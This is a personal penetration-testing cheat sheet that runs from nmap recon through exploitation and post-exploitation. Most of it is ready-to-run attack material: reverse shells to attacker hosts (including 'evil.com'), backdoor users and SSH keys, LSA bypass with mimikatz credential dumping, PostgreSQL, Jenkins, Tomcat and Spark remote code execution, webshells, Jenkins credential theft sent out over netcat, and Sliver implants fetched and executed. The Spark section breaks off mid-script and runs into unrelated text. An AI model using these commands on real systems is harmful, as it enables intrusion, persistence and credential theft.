Pentesting notes and snippets

Recon

Nmap

Host discovery via Ping Sweeping

nmap -sn -oA onlineHosts <ip range>/<subnet mask>

-sn: Use ping scan for host discovery (don’t run a port scan) -oA: Store output in normal, XML, and grepable file formats

Host discovery while skipping ping checks

Use this when targets don’t respond to ping:

nmap -Pn <target ip>

-Pn: Skips the host discovery phase, and scans all addresses as if the system(s) were alive and responding to pings. – use when scanning an internet facing system

Resource: https://medium.com/@hakluke/haklukes-guide-to-nmap-port-scanning-is-just-the-beginning-25d971692fdb

Typical methodology

After discovering what hosts are responding, you’ll want to know what ports they’re exposing:

nmap -sS -p- <target ip>

-sS: SYN scan. Default choice, faster than TCP connect. Does not complete the three way handshake, making it more stealthy. However, IPS/IDS and firewalls will detect and report a SYN scan.

-p-: Scan all 65535 ports - shorthand for -p 1-65535

You can follow this with version and OS enumeration:

sudo nmap <target ip> -sV --version-intensity 9 -O

-sV: Service version detection --version-intensity: Used in conjunction with -sV to help identify running services. The number ranges between 0-9. The higher the number, the more likely a service is to be properly identified. However, higher numbers also make scan times longer. Default number is 7.

Encompass all of the basic port scan behavior

Just use -A:

sudo nmap -A -p- -v <target ip>

-A: Enables OS detection, service version detection, script scanning, and traceroute -v: Increase verbosity of output

TCP Connect Scan

Full three way handshake, not as fast as SYN scan and noisier. Considered most stable, and has least chance to crash the target.

nmap -sT -p- -Pn <ip address>

-sT: Run a TCP connect scan

Detailed scan

nmap -T4 -A -v -oA detailedScanResults <ip range>/subnet<mask>

-T4: Aggressive -oA: Store output in normal, XML, and grepable file formats

Single host TCP scan:

nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p- -oX <output filename>.xml <target>

Parse all ports out of xml output

Output will be returned as a comma separated list

cat <file>.xml | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -

Detailed single host TCP scan:

Run this after running the above single host TCP scan.

nmap -nvv -Pn -sSV -T1 -p$(cat <file from single host tcp scan>.xml | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -) --version-intensity 9 -A -oA <output filename DETAILED> <target>

-n: No DNS resolution on the IP addresses -sSV: SYN scan and service version detection (-s is used to specify a scan type and the uppercase letters that follow are the parameters)

Single host UDP scan:

nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oA <output filename> <target>

-sU: Discover services using UDP. Very slow, can take 20-30 minutes for 1000 ports.

Eyewitness

Single target as command line arg

Run from docker container, output results to ~/EyeWitness/results:

docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/EyeWitness:/tmp/EyeWitness eyewitness --single http://www.google.com --headless

Read targets out of a file

Put your targets in ~/EyeWitness/urls.txt
Run the following command:

docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/eyewitness:/tmp/EyeWitness eyewitness -f /tmp/EyeWitness/urls.txt --headless

The Results will be in ~/EyeWitness/results.

Responder

Responder can be a great tool to collect password hashes, and give you a starting point for gaining access to a system on the network.

Here’s one such scenario: https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html

Exploitation

Handle multiple reverse nc shells

go get github.com/WangYihang/Platypus
cd go/src/github.com/WangYihang/Platypus
go run platypus.go

To configure the listener to listen on port 8080:

run 0.0.0.0 8080

To list sessions:

list

This will give you a list of current sessions. Each has a unique hash that you need to copy if you want to interact with a given session.

To interact with a session:

jump <hash of session>
interact

To exit a session back to playpus:

exit

Repo of project: https://github.com/WangYihang/Platypus

Reverse shell payload

bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1

Reverse shell in Scala:

import sys.process._
"nc -e /bin/sh evil.com 8080" !!;

Once you have the shell, run the following for a full fledged shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Very helpful resource for testing: https://www.tutorialspoint.com/compile_scala_online.php

Create folder to use for share:

mkdir -p nfs/some_great_share_name

Install packages needed for debian:

apt install -y nfs-common cifs-utils

Start services required:

service rpcbind start

Mount the share:

mount -t nfs <target system with mount ip or hostname>:/some_great_share_name -o rw,nfsvers=2 nfs/some_great_share_name

Unmount the share when done:

umount nfs/some_great_share_name

Interesting things to try:

See if you can edit .profile or .bashrc or .bash_profile, etc. in a users home directory.
See if there is an authorized_keys file in any of the users home directories. If so, you might be able to get a backdoor:

find . -name "authorized_keys" 2>/dev/null

Post Exploitation

Linux

Drop backdoor ssh key

Create an ssh key on the attackers system by following the instructions on this page under Create SSH Key.
Add the contents of the public key to the victims ~/.ssh/authorized_keys file (or create one if it doesn’t already exist)
If you created an authorized_keys file previously, make sure to run chmod 0600 ~/.ssh/authorized_keys
You can then use the private key to access the target system: ssh -i /path/to/private/key user@target.com

Resource: https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

Bonus points if you’re able to do this with a nfs mounted home directory (you’ll get a lot more bang for your buck)

Access a user’s env

This is incredibly useful when you find that users are storing credentials in their environment variables. sudo su - <username> env

Search for config files which may have cleartext passwords in them:

## This command works on linux and OSX
du -a $directory | awk '{print $2}' | grep '\.conf$'

Netcat reverse shell without -e

Create listener: nc -lvp [port]

On host to send file

nc -w 3 [host receiving file] [some port] < evil.file

If the file is a reverse shell be sure to make it an executable on the system:

chmod +x .evil.file

Introduce backdoor user

## Create evil user
useradd evil -s /bin/bash -m
## Change evil user's password
echo -e "evilpass\nevilpass" | passwd evil
## Add evil user to sudoers
echo 'evil ALL=(ALL:ALL) ALL' >> /etc/sudoers
## Give evil user ssh access
echo -e "PasswordAuthentication yes\nAllowUsers evil" >> /etc/ssh/sshd_config

To delete the backdoored user:

## Delete evil user
userdel evil
## Delete evil user from sudoers
sed -i '/evil ALL=(ALL:ALL) ALL/d' /etc/sudoers
## Delete evil user from ssh access
sed -i '/^PasswordAuthentication yes/d' /etc/ssh/sshd_config && sed -i '/^AllowUsers evil/d' /etc/ssh/sshd_config

Change columns in Process Explorer

Right click an existing column and click Select Columns

Bypass LSA Protection

You can view protected processes using Process Explorer by looking at the Protection column. To bypass it, you can use a tool called PPLKiller:

git clone https://github.com/RedCursorSecurityConsulting/PPLKiller

Next, open PPLKiller.sln with Visual Studio 2019 on a Windows machine and build a release binary.

You will also need to include a driver from a sketchy site, so be sure to do that before zipping up PPLKillerx64.exe for delivery to your target.

Once it’s uploaded, extract and run it:

Expand-Archive -Path C:\temp\PPLKiller.zip -DestinationPath C:\temp\PPLKiller
cmd
cd C:\Temp\PPLKiller
.\PPLKillerx64.exe /installDriver
.\PPLKillerx64.exe /disableLSAProtection
## Open Process Explorer and observe that lsass.exe is no longer protected
.\PPLKillerx64.exe /uninstallDriver

with this out of the way, you can run mimikatz.

Dump creds with mimikatz

.\mimikatz.exe
privilege::debug
sekurlsa::logonPasswords full
exit

Lsass dump

If you are dealing with LSA protection and you just want to do an lsass dump, you’ll want a tool called PPLdump:

git clone https://github.com/itm4n/PPLdump.git

Next, open PPLDump.sln with Visual Studio 2019 on a Windows machine and build a release binary.

Create a zip that includes the binary along with the DLL you’ll need (this is architecture specific). For example, if your target is x64, your zip should have:

PPLDump.exe
PPLdumpDll-64.dll

Once everything is in place on your target, you can run the following to do an Lsass dump:

.\PPLDump-64.exe -v lsass.exe .\lsass.dmp
.\mimikatz.exe
privilege::debug 
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords

Lateral Movement

Hijacking SSH with Master Mode

Copy this into ~/.ssh/config for a given compromised user:

Host *
ControlMaster auto
ControlPath ~/.ssh/sockets/ssh-%r@%h:%p
ControlPersist yes

Also run this command:

mkdir ~/.ssh/sockets

Now you simply need to wait for the compromised user to ssh to another host. Once this happens, you should be able to ssh to that system without a password as that user.

Docker

Exposed Docker Daemon via TCP

If you find port 2375 open on a system, that means that someone probably ran a command like this one:

docker run -it --name=please_do_not_do_this -H tcp://0.0.0.0:2375 ubuntu

Which means that you can try to run arbitrary docker commands:

docker -H tcp://<ip of target>:2375 <docker command>

For example, to list the containers on that system:

docker -H tcp://<ip of target>:2375 ps -a

To connect to an existing container:

docker -H tcp://<ip of target>:2375 exec -it <target container> /bin/bash

To create and run a container with the host’s root volume mounted:

docker -H tcp://<ip of target>:2375 run --rm -it -v /:/host ubuntu:latest chroot /host /bin/bash

To avoid having to load up a new image (assuming ubuntu:latest isn’t already installed), use docker -H tcp://<ip of target>:2375 image ls to find an existing image to use.

Docker Daemon exposed to other containers

Even if the docker daemon is only exposed to other other containers, you can still take advantage of it if you compromise a container.

This vulnerability is introduced by running a command like this one:

docker run -it --name=really_freaking_vulnerable_ubuntu -v /var/run/docker.sock:/var/run/docker.sock ubuntu

To test it:

## Check if you have write access:
ls -lart /var/run/docker.sock
srw-rw---- 1 root root 0 May  6 05:25 /var/run/docker.sock

Install docker:

## Ubuntu or Debian
apt update && apt install -y wget && wget -qO- https://get.docker.com | sh

Once that’s installed, find an image to use with docker images, or use something simple like ubuntu:latest: docker run -it -v /:/host <docker image to use> chroot /host /bin/bash

Alternatively, you can use the docker socket to avoid installing docker:

## Get images
curl --unix-socket /var/run/docker.sock http://docker/images/json
## Get containers
curl --unix-socket /var/run/docker.sock http://docker/containers/json

Proof of concept for exploitation: https://gitlab.com/Creased/docker-shadow/tree/master

However, this will still need to be done as the root user.

Getting a shell on a PostgreSQL DB running on Linux if you have the proper access and permissions

Start by setting up a listener:

nc -lvp 8080

Connect to the postgresql DB:

psql -h <ip with db> -U <db username>

Review the access your user has with the \du command. Alternatively, you can go in blind and run a quick test (or run a test after you’ve established you have the proper access and permissions to do so):

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'pwd'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;

This should give you the working directory the database is running on if all went well.

Next, get your reverse shell loaded up:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'echo "bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1" >> /tmp/unfriendly.sh'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;

Execute it:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'bash /tmp/unfriendly.sh'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;

You should have your shell.

Getting around “su: must be run from a terminal”

python -c 'import pty;pty.spawn("/bin/bash")'

Getting a shell on a Jenkins box running on Linux or OS X with access to the groovy console

Start by setting up a listener:

nc -lvp 8080

Set up a webserver using nginx, XAMPP, etc. and host a payload that could look something like this:

bash -i >& /dev/tcp/<attackers ip>/8080 0>&1

Download your reverse shell payload:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "curl http://<attackers ip>/unfriendly.sh --output /tmp/shell".execute()
## You could also use wget
## def proc = "wget http://<attackers ip>/unfriendly.sh -O /tmp/shell".execute()
## Use --proxy=off with wget if your proxy is messing with your ability to get that code
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

Make sure your payload is on the target system:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "ls /tmp".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

Run the payload:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "bash /tmp/shell".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

You should have your shell.

Jenkins on Windows

Shout out to Nick Georgieff for figuring this one out.

Quick test on the groovy console: println '"'powershell -command "ls"'.execute().text

Once you’ve verified that is working, switch gears to get a meterpreter session going.

To setup the handler, start by creating an rc file so you don’t need to type the commands into msfconsole every time to interact with your payload.

Create the file: touch windows_rev_powershell_listener.rc

In windows_rev_powershell_listener.rc:

use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <host running metasploit>
set LPORT 445
set ExitOnSession false
exploit -j -z

Run the rc file: msfconsole -r windows_rev_powershell_listener.rc

Connect to handler from the groovy console:

String host="<host running metasploit>";
int port=445;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

At this point, you should have a meterpreter session.

Stealing credentials from Jenkins

Locate the credentials file:

find / -name "credentials.xml" 2>/dev/null

Find a password in the file and copy it.

In the groovy console:

println(hudson.util.Secret.decrypt("<password>"))

Resource: https://www.dropbox.com/s/5j1n4ltm630gcyn/DeadDropOct26_Slides.pdf?dl=0

Alternatively, you can also use https://github.com/cheetz/jenkins-decrypt after pulling down the master.key, hudson.util.Secret, and credentials.xml file.

Exfil the files via cli

On the victim, run:

nc -w3 [attacker IP] 5000 < credentials.xml

On the attacker:

nc -l -p 5000 > credentials.xml

Do this for the rest of the files (master.key, hudson.util.Secret)

Resource: https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/

Stealing creds via Job Import plugin

If you see Job Import Plugin in the web UI, click it.
If you have the Job/Create permission, you should be able to specify a Remote Jenkins URL and a credential
Specify your system as the remote jenkins url, i.e. http://192.168.1.2:8080
Choose the credential you want to steal
Open a listener on the attacker’s system: nc -lvp 8080
Decode output for credentials that comes from the Authorization header: cat <base64 output> | base64 --decode

Jenkins Post Exploitation

If you get a shell on a jenkins system, be sure to check if there is a /jobs folder in the jenkins directory. If so, be sure to go through the various subfolders and steal any config.xml files with a <passsword> field. You can use the same trick as above to decrypt the credentials, replacing the credentials.xml with config.xml.

Create and run listener

Create linux_rev.rc file:

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST [listener ip]
set ExitOnSession false
exploit -j -z

Run it:

msfconsole -r linux_rev.rc

PHP bind payload

msfvenom -p php/meterpreter/bind_tcp LPORT=4444 > msf_bind_shell.php

After starting the listener, upload the php code to the target server. Be sure to replace the /*<?php /**/ with <?php at the top of the file, and replace the % at the end of the file with ?>.

Once the file is uploaded, open the file on the target server. Follow this with an exploit in metasploit.

Create RC Listener

You can create an rc file so you don’t need to type the commands into msfconsole every time to interact with your payload.

Create the file:

touch listener.rc

In listener.rc:

use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT <port>
set ExitOnSession false
exploit -j -z

Run the rc file:

msfconsole -r listener.rc

Adobe Captivate Quiz Reporting Feature ‘internalServerReporting.php’ File Upload RCE Webshell

Using Burp, intercept a GET request to the target and throw it into repeater. Next, right click and Change request method to POST.

Here’s what the request should look like:

POST /internalServerReporting.php HTTP/1.1
Host: <target running adobe captivate>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

if(isset($_REQUEST['cmd'])){
	echo "<pre>";
	$cmd =($_REQUEST['cmd']);
	system($cmd);
	echo "</pre>";
	die;
}

?>

Once you’ve sent it and gotten a 200 back, you can access the web shell like so:

http://<target running adobe captivate>/CaptivateResults/test.php?cmd=<your command to run>

Don’t forget to clean it up when you’re done:

http://<target running adobe captivate>/CaptivateResults/test.php?cmd=del test.php

With Metasploit: https://hydrasky.com/network-security/create-a-web-backdoor-payload-with-metasploit/ Create the payload:

msfvenom -p php/meterpreter/bind_tcp LPORT=4000 > backdoor.php In php_listener.rc:

use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT 4444

Run the rc file:

msfconsole -r php_listener.rc

Upload the php code to the target server. I made sure to replace the /*<?php /**/ with <?php at the top of the file, and replaced the % at the end of the file with a ?> before doing so with Burp repeater.

Once the file is uploaded, open the file on the target server. Follow this with an exploit in metasploit.

You should have a shell at this point.

RCE with vulnerable endpoint in Apache Tomcat

If the /manager/text/deploy endpoint is exposed on an Apache Tomcat site, you can do the following to get a shell:

## Create a malicious webshell, index.jsp:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

## Turn it into a war file:
jar -cvf webshell.war index.jsp

## Upload it:
curl --upload-file webshell.war "https://insecure.site.com/manager/text/deploy?path=/evil"

## Access the webshell:
https://insecure.site.com/evil/index.jsp

You can also get a file upload page going as well with the war file from here[.] Follow the steps above to deploy it, and find the file upload page at /UploadServlet30/upload.jsp.

Once you’re finished, you can also remove the webshell with the following command:

curl "https://insecure.site/manager/text/undeploy?path=/evil"

Spark

If you find a spark master belonging to your target that’s externally exposed, you might have RCE.

Exploitation via 7077

To start, stand up a box that will serve as a listener.

Next, clone this repo and run docker-compose up -d.

Next copy the bin folder that is generated in the docker container to your host system. This should have utilities such as spark-submit in it.

Next, run this command:

./bin/spark-submit --master spark://hostname:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar 'wget listenerbox:portoobserviceison'

Exploitation via 6066

Set up a listener on a system you control:

python -m SimpleHTTPServer 9999

Create submit.sh:

#!/bin/bash
target=$1
version=$2
jar_url=$3
jar_args=$4
curl -X POST http://${target}/v1/submissions/create \
--header "Content-Type:application/json;charset=UTF-8" \

Start by getting the latest release:

Next, install the required dependencies:

sudo apt-get install -y mingw-w64 binutils-mingw-w64 g++-mingw-w64

Next, unzip and run the server:

unzip sliver-server_linux.zip
chmod +x sliver-server
sudo ./sliver-server

Generate HTTPS implant

You can get your public hostname with this command:

curl 169.254.169.254/latest/meta-data/public-hostname

-or-

you can pull it from the EC2 Web UI, or use the aws cli tool, etc.

I like to create a folder to store the implants in, but this an option step if that’s not for you:

mkdir implants

Note: You’ll need to modify the commands below if you don’t create this folder. If you have trouble with that, you maybe shouldn’t be using this tool or hacking. You should learn some linux first.

Next, you can run this command to generate an implant. Here’s an example for a linux target:

generate --http your_ec2_public_hostname --save implants/name_of_your_implant_file --skip-symbols --os linux

Note: You may not want to skip the symbols if you’re being sneaky

Start HTTPS listener on 443

https -l 443

Transfer and run the implant

On the server, we can use simplehttpserver (make sure you security group is configured for 8080 inbound) to host the payload:

python3 -m http.server 8080

On the target, grab it:

wget http://your_ec2_public_hostname:8080/name_of_your_implant_file && chmod +x name_of_your_implant_file && ./name_of_your_implant_file'

If you’re exploiting your target through a command injection attack of sorts, you may want to do something like this to grab and run it:

bash -c "cd /tmp && wget http://your_ec2_public_hostname:8080/name_of_your_implant_file && chmod +x name_of_your_implant_file && ./name_of_your_implant_file &"

Get a shell on your target

At this point you’re back on your server. Now, this isn’t great in terms of OpSec, but in the event you’re doing a pentest and don’t care about the noise:

sessions -i session_that_came_in
shell

Note: session_that_came_in is probably 1, but I don’t want to make any assumptions in case you have other sessions that you’ve been testing with.
